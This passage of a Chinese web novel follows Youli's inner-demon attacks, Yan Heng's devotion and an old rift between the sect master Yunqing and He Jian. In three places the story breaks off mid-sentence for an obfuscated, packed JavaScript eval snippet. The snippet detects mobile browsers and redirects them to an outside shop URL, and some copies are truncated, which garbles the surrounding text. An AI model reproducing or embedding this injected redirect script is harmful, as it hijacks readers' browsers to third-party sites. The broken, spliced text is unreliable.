他的话戛然而止,取而代之的是一声压抑的痛哼。 严珩的拳头在身侧攥紧:“宥鲤,你疼成这样,我不能不管!” “你管了……你就会后悔的!”宥鲤的声音里带着哭腔,“你不知道……你什么都不知道……” 严珩愣住了。 哭声——宥鲤在哭。 那不是放声大哭,而是被死死压抑在喉咙里的哽咽,每一声都像刀一样割在严珩心口。 “宥鲤,我……” “走啊!”宥鲤忽然尖叫,声音破碎,“你走!别管我!” 严珩的眼睛红了,他猛地抬起手,灵力在掌心炸开—— “砰!” 门板应声而碎。 屋内的景象让他呼吸一滞—— 宥鲤蜷缩在被子里,脸色苍白如纸,额上全是冷汗,唇瓣被咬得血肉模糊。他的身体在剧烈颤抖,像是在承受某种无法言说的痛苦。 “宥鲤!”严珩冲过去,一把抱住他。 “别碰我!”宥鲤拼命挣扎,声音嘶哑,“我警告你……再碰我……我就杀了你!” 严珩却没有松手,反而抱得更紧:“好,你杀了我。但在那之前,告诉我——你到底怎么了?” 宥鲤的挣扎渐渐弱了下去,只剩下压抑的哭声。 “我不能说……”他的声音轻得像风,“我说了……一切都完了……” 严珩的心像被什么狠狠揪住。他低下头,在宥鲤耳边低声道:“那你至少告诉我,我能做什么。” 宥鲤沉默了很久,才用几乎听不见的声音说:“……别走。” 严珩一怔,随即抱紧了他:“好,我不走。” 屋外的雪还在下,屋内却只剩下压抑的哭声和两人交叠的呼吸。 严珩不知道的是,宥鲤的心魔,正在他怀中一点点吞噬着他的理智——而心魔的根源,正与他息息相关。 宥鲤的哭声在严珩怀里越来越失控。 那不是普通的哭,而是像心口被生生掏空,连呼吸都变得艰难。每一次吸气,都像要把人撕裂,让他无法控制地颤抖。 他的手指死死揪住严珩的衣襟,指节泛白,仿佛抓住的是唯一的依靠。 严珩能感觉到,宥鲤的身体在剧烈颤——不是因为冷,而是因为难以言说的痛苦。 “宥鲤……宥鲤……”他一遍又一遍地唤着他的名字,声音低沉而急切,“看着我,看着我,慢慢呼吸……” 可宥鲤像没听见一样,哭声断断续续,间或夹杂着压抑的闷哼。额上的冷汗顺着鬓角滑下,打湿了严珩的衣襟。 “疼……好疼……”他喃喃着,像是在梦里呓语,“不要……不要……” 严珩的心口也跟着发疼。他不知道宥鲤在抗拒什么,只能一遍遍地将他抱得更紧,试图用自己的体温驱散那股从宥鲤骨髓里渗出来的寒意。 突然,宥鲤的身体猛地一僵,像是被什么狠狠攥住了心脏。 “啊——!” 一声压抑到极致的惨叫从他喉咙里挤出,短促、破碎,却让严珩整个人都绷紧了。 “哪里疼?”严珩急切地问,手在他背后轻轻抚着,“告诉我,我帮你——” “别碰……”宥鲤哽咽着,声音低得几乎听不见,“别碰我……会……会害死你……” 严珩的手指顿住了。 他想追问,可看着宥鲤那双被泪水模糊、几乎失去焦点的眼睛,他忽然说不出话来。 屋内很安静,只有宥鲤急促而颤抖的呼吸声。 严珩低下头,额头抵着他的发顶,声音轻得像风:“那我就不碰……但我不走。” 宥鲤的哭声渐渐低了下去,可身体的颤抖依旧没有停止。疼意像潮水,一波波涌来,将他淹没。 严珩能感觉到,宥鲤的心跳急促而紊乱,像是随时会崩断的弦。 ——他必须想办法,弄清楚这到底是什么。 可在那之前,他只能守在这里,任由宥鲤在他怀里哭到声音嘶哑,疼到几乎昏厥。 不知过了多久,窗外的雪渐渐停了,夜色像一层厚重的幕布,将整个清朽门笼罩在无声的黑暗里。 宥鲤的哭声慢慢变成了断断续续的抽噎,再到细微的呼吸声。疼意像是退潮的海水,一波一波地远离,可那股疲惫感却像潮水过后的湿沙,沉重地压在他的四肢百骸。 严珩一直没动,只是用掌心轻轻抵在宥鲤的后心,像在确认他的心跳是否还稳定。 “……你还疼吗?”他的声音很轻,像怕惊扰了什么。 宥鲤没有立刻回答,只是将脸埋得更深,呼吸缓慢而沉重。 又过了好一会儿,他才用几乎听不见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261154|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音说:“……好多了。” 严珩这才微微松了口气,却没有放开他,只是调整了一下姿势,让宥鲤躺得更舒服些。 被子里的温度渐渐升高,可宥鲤的身体依旧有些发凉。严珩犹豫了一下,还是伸手,将他的手攥进掌心,用自己的体温一点点暖着。 宥鲤没有抽回手。 屋内很安静,只有两人的呼吸声在空气中交织。 过了很久,宥鲤忽然开口,声音沙哑得像砂纸摩擦:“……你为什么不走?” 严珩愣了一下,随即低声笑了笑:“你不是让我别走吗?” 宥鲤沉默了。 又过了一会儿,他像是困得不行,声音含糊地说:“……我没说。” “嗯,你没说。”严珩顺着他的话,语气极轻,“可我听到了。” 宥鲤没再反驳,呼吸渐渐平稳下来。疲惫像潮水一样将他淹没,他的手指在严珩掌心里微微动了动,像是无意识的回应。 严珩低头看他,眼底的情绪复杂难辨——担忧、心疼,还有一丝他自己都没察觉的……害怕。 他不知道宥鲤经历的是什么,也不知道自己能做什么。可他很清楚,从这一刻起,他不可能再把这个人从自己的世界里推开。 窗外的风停了,雪后的夜空格外清澈,月光透过窗棂,静静地洒在两人交握的手上。 漫长的一夜,终于过去了。 天刚蒙蒙亮,清朽门的走廊里还残留着雪夜的寒气。 宥风打着哈欠走回内院,手里还提着从厨房带回来的热包子——他值了一夜的班,困得眼皮直打架。 可当他走到哥哥的房门前时,整个人瞬间僵住。 门……碎了。 门板像被什么巨大的力量劈开,木屑散落一地,锁扣歪在一边,还挂着几根断裂的铁钉。 “我靠!”宥风瞬间清醒,睡意全飞,猛地冲了进去,“哥!你没事吧?!是不是严——” 话没说完,他就看见床上的景象—— 宥鲤安静地躺在床上,脸色依旧有些苍白,却睡得很沉。 而严珩……正半躺在他身边,一只手搭在宥鲤的腰上,另一只手还握着宥鲤的手,脑袋靠得极近,像是在守护什么稀世珍宝。 阳光透过窗棂洒进来,照在两人交握的手上,画面……意外地和谐。 宥风的大脑“嗡”地一声炸开。 下一秒—— “啊——!!!!!!” 尖叫声冲破屋顶,震得窗外的麻雀扑棱棱飞走一片。 “严——励——程!!!”宥风炸毛到声音都劈叉了,“你这个臭不要脸的——!!!” 床上的两人被惊醒。 宥鲤睁开眼,看见宥风那张扭曲的脸,先是愣了一下,随即脸色一沉:“……你喊什么。” 严珩则慢悠悠坐起身,打了个哈欠,一脸无辜:“早啊,小舅子。” “谁是你小舅子!”宥风气得直跳脚,“你居然——居然趁我哥病着——” “我只是守了他一夜。”严珩懒懒地补了一句,“不然,你以为他能活到天亮?” 宥风一噎,可看到两人还握在一起的手,瞬间又炸了:“守夜需要拉手吗?!!” 宥鲤这才注意到自己的手还被严珩攥着,耳尖一红,猛地抽回手,冷声呵斥:“出去。” “我偏不!”宥风像炸毛的猫,“我今天非要——” “出去。”宥鲤的声音更冷了。 宥风被他哥哥的眼神吓得一个激灵,可还是不甘心地指着严珩,威胁道:“你给我离我哥远点!不然我——” “你什么?”严珩挑眉,笑得欠揍,“再尖叫一次?” 宥风气得头顶冒烟,转身“砰”地一声摔门而去——可惜,门早就碎了,他只能对着空气怒吼:“我跟你没完!!!” 屋内恢复安静。 宥鲤转过头,冷冷地看了严珩一眼:“你也出去。” 严珩却没动,反而低声道:“我不走。你昨晚……还没好透。” 宥鲤的手指微微一颤,最终只是别过脸:“……随你。” 59. 苦冬. 五 屋内安静了片刻,只有窗外偶尔传来的鸟鸣。 严珩坐在床边,眼神一动不动地盯着宥鲤,嘴角带着若有若无的笑意。 “你昨晚——”严珩慢悠悠地开口,“哭得可真厉害。” 宥鲤的耳根瞬间红了:“闭嘴。” “还一直喊我名字。”严珩像是故意的,声音压得很低,带着点戏谑,“喊得我心都软了。” 宥鲤猛地转头,冷冷地瞪着他:“严珩。” “嗯?”严珩挑眉,一脸无辜。 “你很吵。”宥鲤一字一顿,“出去。” “我不。”严珩笑得更欠揍了,“我还没看够你脸红的样子。” 宥鲤的手攥紧了被角,指节泛白。 下一秒—— “砰!” 伴随着一声闷响,严珩整个人被一脚踹下床,结结实实地摔在地上。 “哎哟——”严珩揉了揉屁股,抬头看向床上的人,“你这是谋杀亲夫啊?” “你再说一句。”宥鲤眼神冷得能结冰。 严珩咳了一声,立刻识趣地改口:“我是说……谋杀亲——呃,朋友。” 宥鲤别过脸,声音冷得没有一丝温度:“滚。” 严珩从地上爬起来,拍了拍身上的灰尘,嘴角却依旧带着笑:“好,我滚。” 他走到门口,又像是想起了什么,回头看了宥鲤一眼,声音低低的:“但我晚上再来。” 宥鲤猛地抬头:“你敢——” 严珩已经笑着关上门,留下一个欠揍的背影。 屋内,宥鲤盯着那扇门,胸口微微起伏。 他伸手按住心口,却发现那里的疼意早已消失,只剩下……一种说不清的躁动。 宥风怒气冲冲地冲进云清君的院子,连门都没敲。 “师父!”宥风一进门就嚷嚷,“您得管管啊!” 云清君正端着茶杯,慢条斯理地品茶,见他这副炸毛的样子,微微抬眼:“何事?” “严珩!朝阳门那个严珩!”宥风气得直转圈,“他昨晚在我哥房间过夜!还——还拉手!还——” 他话没说完,云清君手里的茶杯微微一顿。 虽然面上依旧是一派淡然,可那双眼睛里已经闪过一丝不易察觉的冷意。 ——自家白菜,被猪拱了? “……他还做了什么?”云清君的声音依旧温和,却带着一股凉意。 宥风立刻添油加醋:“他还说不要脸的话!被我哥一脚踹下床了!可他居然说晚上还要来!” 云清君放下茶杯,缓缓站起身,拂了拂衣袖:“我知道了。” 他的语气平静得像一潭死水,可宥风能感觉到,师父这是真的生气了。 “师父,您要替我哥做主啊!”宥风趁热打铁,“这种人,就该——” “来人。”云清君淡淡开口。 门外的弟子立刻应声而入:“在。” “传我门令。”云清君缓缓道,“从今日起,清朽门后山、内院、藏书阁——” 他顿了顿,眼底闪过一丝冷光:“禁止贺兼和狗进入。” 宥风一愣:“贺兼?还有狗?” 云清君瞥了他一眼,慢悠悠地补了一句:“以及——朝阳门严珩。” 宥风瞬间乐了:“师父英明!” 云清君转身负手而立,背影如山般沉稳,可心底早已在盘算—— 下次见到那姓严的小子,得好好“聊聊”。 清晨的清朽门,雾气还未散去。 云清君正在院子里练剑,剑光如水,动作行云流水。 “清君——” 一个懒洋洋的声音从院门口传来。 贺兼倚在门框上,手里摇着一把折扇,笑得像只偷腥的猫:“我带了桂花糕,新出炉的。” 云清君连眼皮都没抬:“滚。” 贺兼仿佛没听见,径直走了进来,将桂花糕放在石桌上:“尝尝?很甜的。” 云清君收剑,淡淡看了他一眼:“贺兼,你是不是忘了,清朽门有新规矩?” 贺兼挑眉:“哦?什么规矩?” “禁止贺兼和狗进入。”云清君语气平淡,“以及朝阳门严珩。” 贺兼:“……” 他愣了两秒,随即笑出声:“我和狗并列?清君,你这是夸我还是骂我?” 云清君不答,只是转身进屋,顺手关上了门。 “砰——” 贺兼被关在门外,手里还捏着那块桂花糕。 他眨了眨眼,低声嘀咕:“脾气真大……不过,越凶我越喜欢。” 说完,他将桂花糕放在门槛上,慢悠悠地走了。 ——半小时后,云清君打开门,看着那块桂花糕,沉默了三秒,还是伸手拿了进去。 夜色沉沉,清朽门后山的竹林在风里沙沙作响。 贺兼坐在一块青石上,手里转着那把折扇,眼神却望着远处的山影,像是在看一场早已散场的旧梦。 ——那是很多年前的事了。 那时的他,还只是个跟着云清君屁股后面跑的小师弟。 “清君,等等我!”少年贺兼背着剑,气喘吁吁地追上来。 云清君回头,眉眼清冷,却还是停下脚步:“跑这么慢,还想跟我一起下山历练?” “我……我会练快的!”贺兼咬了咬唇,眼神里满是倔强。 云清君看了他一眼,没再说什么,只是将手里的水袋递过去:“喝吧。” 贺兼接过水袋,喝了一口,耳尖却悄悄红了。 那时的他,不懂什么是喜欢,只知道——只要能和云清君在一起,哪怕只是并肩走在林间小道上,都觉得整个世界都亮了。 可他不敢说。 云清君是门中最出色的弟子,天赋卓绝,性格清冷,像高岭之花。而他……只是个资质平平、拼命追赶的小师弟。 “清君,你说……我们以后会不会一直在一起啊?”一次夜里,贺兼躺在篝火旁,装作随意地问。 云清君侧过身,看了他一眼,眼底似乎闪过一丝笑意:“傻话。人各有志,以后你也会有自己的路。” 贺兼没说话,只是握紧了手中的树枝。 后来,朝阳门来人,提出要收他为徒,说那里有更好的资源,能让他更快成长。 他犹豫了很久。 离开,就意味着和云清君分开。可留下,他永远只能做那个追在后面的小师弟。 “你要走吗?”分别前,云清君问。 贺兼低着头,声音轻得像风:“……我想变得更强。” 云清君沉默了片刻,只道:“好。” 那一刻,贺兼想说很多话——想说他不想走,想说他其实……喜欢他。可话到嘴边,还是咽了回去。 多年后,他终于站在了和云清君并肩的位置,却发现,两人之间早已隔了太多的时光和误会。 “清君。”贺兼轻声呢喃,“当年我不敢说的,现在……我想补回来。” 他站起身,望向清朽门的方向,眼底带着从未有过的坚定。 书房里很安静,只有窗外竹叶摩挲的轻响。 云清君坐在案前,手里捏着那只早已凉透的桂花糕。 糕点的香气早已散尽,只剩下一点干涩的甜腻。可他没有放手,像是握着一段已经褪色的记忆。 他冷笑了一声,笑意却比窗外的夜风还凉。 ——当年,他其实早就看出来贺兼资质不差。 那孩子性子跳脱,剑招总是快而不稳,像一匹脱缰的野马。云清君便亲手为他打磨剑招,一招一式,反复拆解,直到贺兼能在他手下走过二十招。 为了护着他,云清君替他挡下一次又一次的责罚——无论是练剑迟到,还是在比试中失手伤了同门,他都在长老面前据理力争,将责任揽到自己身上。 他以为——这样的心意,贺兼会懂。 他甚至想过,等贺兼再沉稳些,就把自己的佩剑传给对方,带他一起下山历练,并肩行遍江湖。 可朝阳门来人的那天,一切都碎了。 贺兼低着头,声音轻得像一阵风:“我想变得更强。” 那一刻,云清君只觉得胸口像被什么狠狠捶了一下。 ——变强?难道留在他身边,就不能变强? 他想问,却没有开口。只是淡淡一句:“你要走吗?” 贺兼没有看他,只说:“是。” 云清君没再挽留。 可那一晚,他一个人在竹林里练剑到天亮。剑风凌厉得将周围的竹子削断了一片,竹屑纷飞,落在他的肩头,他却浑然不觉。 他生气,不是因为贺兼要去追求更好的未来。 而是因为——在贺兼的选择里,没有他。 多年后,贺兼回来了。 笑得还是那副欠揍的样子,说什么“想补回来”。 云清君合上眼,指尖微微收紧。 当年,他站在原地,等了很久。 风吹过竹林,竹叶簌簌落下,可贺兼没有回头。 清晨的书房,光线透过纸窗,落在案几上。 云清君正翻着一卷旧册,指尖在书页上缓缓划过,神情淡然。 “清君。” 贺兼推门而入,声音里带着一丝不易察觉的紧张。 云清君连眼皮都没抬:“出去。” 贺兼却没有退,反而走近几步,将一盒新的桂花糕放在案上:“还热的。” 云清君的手指顿了顿,却很快恢复平静:“拿走。” 贺兼看着他,缓缓开口:“清君,我……我昨天说的话,是认真的。” “我不想听。”云清君的声音冷得没有一丝温度。 “当年是我错了。”贺兼的声音低下来,“我以为变强才能配得上你,可我没想到……” “够了。”云清君终于抬眼,目光冷冽,“贺兼,你现在说这些,有什么意义?” 贺兼迎上他的视线,眼底满是悔意:“我想补回来。我想留在你身边——不是作为谁的影子,而是……” “而是什么?”云清君的语气像是在逼问,又像是在掩饰什么。 贺兼深吸一口气:“而是作为你的……伴侣。” 书房里安静得能听见烛火燃烧的声音。 云清君的手指在书页上攥紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺兼没有回答,只问:“你打算什么时候告诉他?” “我……”严珩犹豫了,“我怕他拒绝,也怕……影响我们之间的关系。” 贺兼的眼神沉了下去,像是在回忆什么。 “有些话,不说,就永远没机会了。”他顿了顿,语气忽然变得认真,“严珩,喜欢一个人,就去追。别怕被拒绝,也别怕丢脸。” 严珩低声道:“可万一……连朋友都做不成呢?” 贺兼转过头,看着他,目光里有一丝复杂的情绪:“至少你不会后悔。” 他顿了顿,像是在对严珩说,又像是在对自己说—— “别和我一样,留遗憾。” 严珩怔住了,随即重重地点了点头:“我知道了,师尊。” 贺兼拍了拍他的肩,恢复了那副吊儿郎当的样子:“去吧,翻墙记得轻点,别又被逮住。” 严珩笑了,转身朝清朽门的方向跑去。 贺兼站在原地,看着他的背影消失在晨雾中,轻轻叹了口气。 ——希望这一次,不会有人像当年的他一样,站在原地,等不到回头。 清晨的清朽门,雾气还没散尽。 严珩小心翼翼地翻进后院,正想往宥鲤的房间摸去,就听见一个冷得能结冰的声音—— “站住。” 他僵在原地,缓缓回头,看见云清君正站在廊下,手里端着一杯热茶,目光冷得像初冬的霜。 “云……云清君。”严珩干笑两声,“早啊。” 云清君的视线在他身上扫了一圈,淡淡道:“你从哪儿来?” “我……我从那边来。”严珩胡乱指了个方向。 “那边是后山。”云清君语气没有一丝波澜,“你是来采药的?” “对!对,我就是来采药的。”严珩赶紧点头,“听说清朽门后山草药多,我——” “这是禁药区。”云清君打断他,“而且你手里什么都没拿。” 严珩:“……” 气氛瞬间尴尬得能滴出水来。 云清君的眉头微不可察地皱了皱。 ——早上刚被贺兼气得心口发疼,这会儿又来个小鬼瞎编借口,真是火上浇油。 “出去。”他吐出两个字。 “我——” “出去。”云清君的声音冷得像是在下达命令,不容置疑。 严珩被他看得心里发毛,连忙点头:“好,好,我马上走。” 他转身就走,却在门口停了一下,回头小声道:“那个……宥鲤在吗?” 云清君抬眼,眼神冷得像刀:“你再问一句试试。” 严珩打了个寒战,一溜烟跑了。 廊下,云清君缓缓放下茶杯,指节因为用力而泛白。 ——贺兼,还有他的徒弟,一个个都不让人省心。 60. 苦冬·六 阳光透过雕花的窗棂,落在铺着锦缎的被面上。 宥鲤醒来的时候,已经是上午巳时。 他侧了个身,望着窗外的银杏叶,耳中是院子里轻轻的风声。 ——今天,云清君给他放了假。 这是许久没有过的清闲。 宥鲤缓缓坐起身,手指在枕边摸到一个小铜炉,炉盖微微开着,里面残留着一缕淡淡的清香。 清神香。 据说这是云清君花高价从南境买来的,燃之可宁神定气,驱疲解乏。 宥鲤垂眸,唇角微微一勾。 ——云清君,总是这样。表面上冷得像一块冰,却在细节处不露声色地照顾人。 他低低笑了一声,那笑意很快被压下去,像是怕惊动了什么。 宥鲤靠在床头,闭上眼,任由那股清香在鼻间缭绕。 脑海中,却慢慢浮起那些被他藏得很深的画面—— 父亲煞玄的眼神,冷得像寒潭,却带着令人无法抗拒的威压。 “记住,你的身份,是秘密。” “学会忍,学会藏,学会在他们最信任你的时候,露出獠牙。” 他从小被灌输的,不是仁义道德,而是生存与背叛。 可在朽清门的这些年,他学会了另一种活法—— 用冷淡包裹自己,让别人以为他无欲无求; 用沉默作武器,让别人放松警惕; 用偶尔流露的“娇弱”设下陷阱,让别人心甘情愿地为他挡风遮雨。 他是一只披着雪色皮毛的狼。 安静,耐心,等到时机,便会致命一击。 可不知从什么时候起,他开始怀疑—— 自己真的还能回到父亲期望的那条路上吗? 窗外的风,轻轻吹动了纱帘。 宥鲤睁开眼,眸色沉了几分。 ——不管怎样,戏还要演下去。 他缓缓起身,将铜炉里的残香轻轻吹散,换上一身素色的衣袍。 镜中人眉眼清隽,神色冷淡,仿佛世间万物都与他无关。 可在那平静的眼底,藏着的,是一片深不见底的暗潮。 午后的阳光温柔地洒在清朽门的后园,竹影斑驳。 宥鲤提着一小篮肉干,脚步很轻。 阿雪——那只浑身雪白的小狗——总是在这个时候等他。它会摇着尾巴扑过来,用湿漉漉的鼻子蹭他的手。 可今天,后园安静得过分。 宥鲤的脚步顿了顿。 他走过去,就看见阿雪静静地躺在树荫下,毛色依旧雪白,却再也不会动了。 空气中,有一丝淡淡的苦杏仁味。 宥鲤蹲下身,伸出手,轻轻碰了碰阿雪的颈侧——冰冷。 他的手指微微收紧,又松开。 …… 没有惊呼,没有慌乱,没有一滴眼泪。 宥鲤只是将阿雪抱起来,动作轻得像怕惊醒它。 他将小狗埋在后园的梅树下,用手一点点将泥土推平。 风吹过,落了几片花瓣在新土上。 宥鲤站起身,拍了拍手上的泥,转身离开。 没有人看到,他的指尖在微微颤抖。 ——弱点,不能暴露。 哪怕是对一只狗的感情,也不行。 回到房间,宥鲤关上门,背靠着门板站了很久。 水声在室内响起。 他将双手放在水盆里,反复冲洗。冷水一点点带走皮肤上的温度,直到指尖泛白。 脑海里,有个声音在低低地笑—— “去死。” 那声音像是从很远的地方传来,又像是在他耳边炸开。 “废物。” 他闭上眼,呼吸稳得像一潭死水。 ——是啊,连一只狗都保护不了,不是废物是什么? 小时候,父亲说过:“弱者不配拥有羁绊。” 那时他不以为然。可现在,他忽然明白了——羁绊,只会成为别人攻击你的把柄。 阿雪死了。 而他什么也不能说,什么也不能做。 因为一旦表现出哪怕一丝情绪,就会有人发现——他并非他们以为的那样无懈可击。 水声停了。 宥鲤抬起头,看着镜中的自己。 那双眼睛平静得近乎冷漠,仿佛刚才的一切只是幻觉。 他缓缓抬起手,将湿透的发丝拢到耳后。 ——活下去。 ——哪怕,是在地狱里。 清晨的练武场上,雾气尚未散尽,万归宗六门弟子已整齐列队。 鼓声响起,早练开始。 宥鲤站在队列前端,背脊笔直,神情淡漠。 可没有人知道,在那平静的表象下,他的身体正被一种无形的力量蚕食—— 先是指尖微微发麻,接着是四肢,像被抽走了力气。然后,一股钝痛从后脑蔓延开来,像有千万根细针在同时扎他的神经。 ——不是因为阿雪。 这是他的心魔。 一种无药可解的旧疾,每隔一段时间便会毫无预兆地袭来,将他拖入无底的深渊。 鼓声在耳边变得遥远,视野边缘开始发黑。 他的手在袖中死死攥紧,指甲深深嵌进掌心,疼痛让他勉强保持清醒。 “宥鲤师兄?”身旁的小师弟察觉到他微微摇晃,低声唤道。 “无事。”他的声音依旧平稳,听不出一丝异样。 可每迈出一步,都像踩在刀尖上。 严珩站在不远处,看着宥鲤的背影,总觉得哪里不对。那背影依旧挺拔,却似乎轻得随时会被风吹倒。 鼓声第三通落下,早练结束。 所有人散去,只有宥鲤依旧站在原地,直到四周空无一人,他才缓缓吐出一口气,几乎是立刻,膝盖一软,单膝跪地。 冷汗顺着鬓角滑落,他用剑支撑着身体,不让自己倒下。 ——不能让人看见。 他抬头望向晨雾深处,眼中的冷意比雾更浓。 雾色沉沉,练武场的地面被露水压得泛着湿光。 宥鲤单膝跪地,手中长剑拄在地上,像一根支撑他不倒的最后支柱。 可那支柱,在这一刻,忽然发出了细微的脆响。 ——不好。 他心中刚闪过这个念头,一股狂暴的力量就从胸口炸开,顺着手臂涌到掌心。 “砰——!” 长剑应声震碎,碎片四溅。寒光一闪,其中一片锋利的断刃反卷回来,划过他的锁骨,血珠瞬间涌出,染红了素色衣襟。 他甚至没来得及皱眉。 下一瞬,疼痛感如同潮水般席卷全身——不是皮肉伤的痛,而是那种从骨髓里、从灵魂深处渗出的撕裂感。 耳边所有的声音都消失了,只剩下血液在耳鼓里疯狂地涌动。 视野摇晃,他看到地面在向自己扑来。 ——不能倒在这里。 他拼命想撑起身,可四肢像被抽空了力气,连指尖都在微微颤抖。 胸口一紧,他眼前一黑,整个人直直向前倒去。 “砰——” 身体与冰冷的地面相撞,溅起一圈细密的水花。 血腥气与泥土的潮湿味混在一起,呛得人几乎窒息。 远处,有脚步声急促地冲来。 “宥鲤!” 那声音带着从未有过的慌乱,可宥鲤已经听不清了。 他的意识像被海水吞没,最后一丝光亮也被黑暗覆盖。 ——黑暗里,那个声音又出现了。 “废物。” 这一次,它像是在笑。 严珩冲过去的时候,宥鲤已经一动不动地躺在地上。 他半跪下来,将人抱起。那一瞬,温热而黏腻的液体顺着他的手臂淌下,带着铁锈般的腥气。 “宥鲤——” 他的声音低沉,却压不住慌乱。 锁骨处的伤口很深,血正顺着断刃划出的弧线涌出,染红了他的衣襟和严珩的手背。 严珩用手掌死死按住伤口,可血依旧从指缝间渗出。 怀里的人很轻,轻得不像一个十七八岁的少年,像是随时会被风吹散。 宥鲤的睫毛微颤,似乎想睁开眼,却连这点力气都没有。 “别看我……”他的声音细得像风里的一缕气息,却依旧带着拒人千里的冷意。 严珩怔了一下,随即低声道:“闭嘴,先活下来。” 他抱起宥鲤,转身就往医堂跑。晨雾被他的脚步撕开一条通路,血迹一路滴落在地上,像一串无法抹去的印记。 路上,有弟子惊恐地让开。 “严师兄,这是——” “让开!”严珩的声音冷得像刀锋。 怀里的人忽然动了一下,像是想挣脱,却被他抱得更紧。 ——他不想被任何人看到脆弱的样子。 可现在,他连挣扎的力气都没有。 医堂的门被一脚踹开,药香扑面而来。 “救人!”严珩将宥鲤放在榻上,声音低哑。 老医师一看那伤口,脸色骤变,立刻让人取金疮药、止血草。 严珩站在一旁,看着宥鲤苍白的脸,忽然觉得胸口闷得发疼。 ——他一直以为,宥鲤是那种站在风雪里也不会倒下的人。 可现在,他才发现,原来这座看似无懈可击的城墙,也会有裂缝。 只是,这裂缝一旦被人看见,就再也合不上了。 医堂内,药香与血腥气混杂。 老医师将最后一层纱布缠好,叮嘱道:“这药能暂时压住你体内的心魔之力,但副作用不小——心神会乱,言行失常,可能会说些不该说的话。你要自己克制。” 宥鲤垂着眼,没吭声。 ——心魔不会死。 ——它只会一次次把你拖回地狱,直到你彻底绝望。 这一点,他比谁都清楚。 严珩站在一旁,眉心紧锁,却没说什么。 可药刚入喉没多久,宥鲤的眼神就变了—— 他的目光有些失焦,唇角微勾,像是在笑,却让人觉得不安。 “严珩。”他忽然开口,声音轻得像风。 “嗯?” “你为什么喜欢我?” 房间里瞬间安静下来。 老医师识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261156|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣地退了出去,带上了门。 严珩的手微微一顿,随即沉声道:“你在胡说什么?” “我没有胡说啊。”宥鲤歪着头,像个醉汉,眼神却直直盯着他,“你看我的时候,眼睛里有光。” 严珩的喉结滚了一下,没接话。 “可我……”宥鲤的声音忽然低下去,“是个废物啊。” “闭嘴。”严珩的语气冷得能结冰,可眼底却闪过一丝慌乱。 “你为什么要救我?”宥鲤继续问,像是在审问,又像是在寻求一个答案,“我死了,不是更好吗?” 严珩走过去,一把抓住他的手腕,力道重得让宥鲤微微皱眉。 “你再敢说这种话——” “你会怎样?”宥鲤抬起眼,唇角带着挑衅的笑,“杀了我?” 空气仿佛凝固。 片刻后,严珩缓缓松开手,声音低沉:“我不会杀你。” “那你会什么?”宥鲤盯着他,像是在等一个让他意外的答案。 严珩沉默了很久,才开口:“我会一直盯着你,直到你再也说不出这种话为止。” 宥鲤怔了怔,随即轻笑出声。那笑声有些沙哑,却莫名让人心酸。 “严珩,你真傻。” “……” “喜欢我这种人,只会让你受伤。” 严珩看着他,忽然低声道:“那也无妨。” 宥鲤的笑,在这一刻,彻底消失了。 他闭上眼,像是被抽空了所有力气,轻声喃喃:“可我……不想你受伤啊。” 宥鲤靠在床头,眼神迷离,却带着一丝挑衅的笑。 “那你亲我一口。” 严珩的手猛地收紧,却没有任何动作。 “你说过会一直盯着我,不让我说那些话。”宥鲤慢慢抬起下巴,声音低哑,“亲我,我就不说了。” 严珩的目光沉得像夜色,“你知道你在说什么吗?” “当然知道。”宥鲤笑得有些肆意,“我在求你亲我啊,严珩。” 沉默。 空气里,药香和血气似乎都变得滚烫。 严珩缓缓走近,直到两人的距离只剩半尺。宥鲤甚至能感觉到他的呼吸落在自己的脸上。 可他没有亲。 只是伸出手,扣住宥鲤的下颌,迫使他直视自己。 “宥鲤,”他的声音低沉而危险,“你现在不清醒。” “那又怎样?”宥鲤挑衅地挑眉,“清醒的时候,你连看都不敢看我。” 严珩的指尖微微用力,“我不亲你,不是因为不敢。” “那是因为什么?” “因为我不想趁人之危。” 宥鲤愣了一下,随即嗤笑:“严师兄真是君子。” “我不是君子。”严珩的眼神暗了暗,“但我不会在你心神混乱的时候,做让你以后后悔的事。” 宥鲤盯着他看了很久,忽然轻声道:“你怎么知道,我会后悔?” 严珩没有回答,只是松开手,后退一步,像是给自己也留了余地。 “等你清醒了——”他顿了顿,声音低得几乎听不见,“——你想做什么,我再答复你。” 宥鲤笑了,那笑里有几分嘲弄,也有几分说不清的情绪。 “好啊,严珩。”他缓缓闭上眼睛,“我等着。” 窗外的雾还没散,医堂里光线昏暗。 宥鲤靠在床头,眼神依旧有些飘忽,但比刚才清醒了些。 可那股奇怪的冲动,并没有消失。 “严珩。”他忽然开口,声音很轻,却带着一种不容回避的笃定。 “嗯?” “你为什么喜欢我?” 严珩的手一顿,像是被人用针扎了一下。 “你刚才问过了。” “我知道。”宥鲤盯着他,眼底带着一丝执拗,“可我还想再听一遍。” 严珩沉默了片刻,像是在斟酌词句。 “因为你很强。”他终于开口,“强到让我想一直看着你。” 